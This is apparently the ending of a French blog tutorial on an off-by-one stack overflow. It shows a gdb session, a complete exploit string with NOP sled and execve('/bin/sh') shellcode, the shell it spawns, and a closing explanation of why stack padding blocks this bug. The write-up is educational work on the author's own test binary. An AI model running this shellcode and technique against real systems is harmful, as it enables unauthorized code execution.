0xffffd3e4:     0xffffd7e0      0xffffd7f4      0xffffd80a      0xffffd828
0xffffd3f4:     0xffffd843      0xffffd851      0xffffd85e      0xffffd869
0xffffd404:     0xffffd8c9      0xffffd8df      0xffffd8e7      0xffffd903
0xffffd414:     0xffffd951      0xffffd9b3      0xffffd9c7      0xffffda86
0xffffd424:     0xffffda91      0xffffdaa2      0xffffdaf5      0xffffdb07
0xffffd434:     0xffffdb16      0xffffdb25      0xffffdb53      0xffffdb6e
gdb-peda$ delete
gdb-peda$ r $(python -c 'print "\x90"*427 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xd4\xd1\xff\xff" + "B"*36')
Starting program: ~/offbyone $(python -c 'print "\x90"*427 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xd4\xd1\xff\xff" + "B"*36')
process 10441 is executing new program: /bin/dash
$

Victoire ! Enfin, presque : il nous reste « juste » à tester notre exploit hors gdb car gdb « droppe » les droits (même si ici il n'y aura pas d'escalade de privilèges mais bon, on fait comme si c'était le cas). Comme dit plus haut, dans gdb, il y a deux variables d'environnements en plus : LINES=56 et COLUMNS=225. On va donc les créer et leur attribuer les mêmes valeurs puis relancer notre exploit et si tout est correct, nous aurons enfin notre « vrai » shell !

que20@hacktion:~$ export LINES=56
que20@hacktion:~$ export COLUMNS=225
que20@hacktion:~$ /home/que20/offbyone $(python -c 'print "\x90"*427 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xd4\xd1\xff\xff" + "B"*36')
$

Yeeeeeeeaaaaaaaaaaaaaaaaaah ! /o/ \o\ \o/ (*danse de la victoire*)

Conclusion

Nous arrivons à la conclusion de cet article qui démontre bien que, dans certains cas, même un débordement d'un seul octet peut causer de gros dégats. Il est quand même à noter que ce type de faille n'est plus trop d'actualité principalement dû au fait de l'ajout d'un padding entre les variables locales de la fonction et la sauvegarde de EBP (l'option -mpreferred-stack-boundary=2 de gcc a permis de dire qu'on ne voulait pas de padding). Dans ce cas de figure, le débordement d'un seul octet ne posera pas de problème car il tombera dans ce padding et il ne pourra pas corrompre la sauvegarde de EBP car c'est bel et bien cette corruption du bit de poids faible de cette sauvegarde qui mène, à terme, à un possible contrôle de EIP.

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.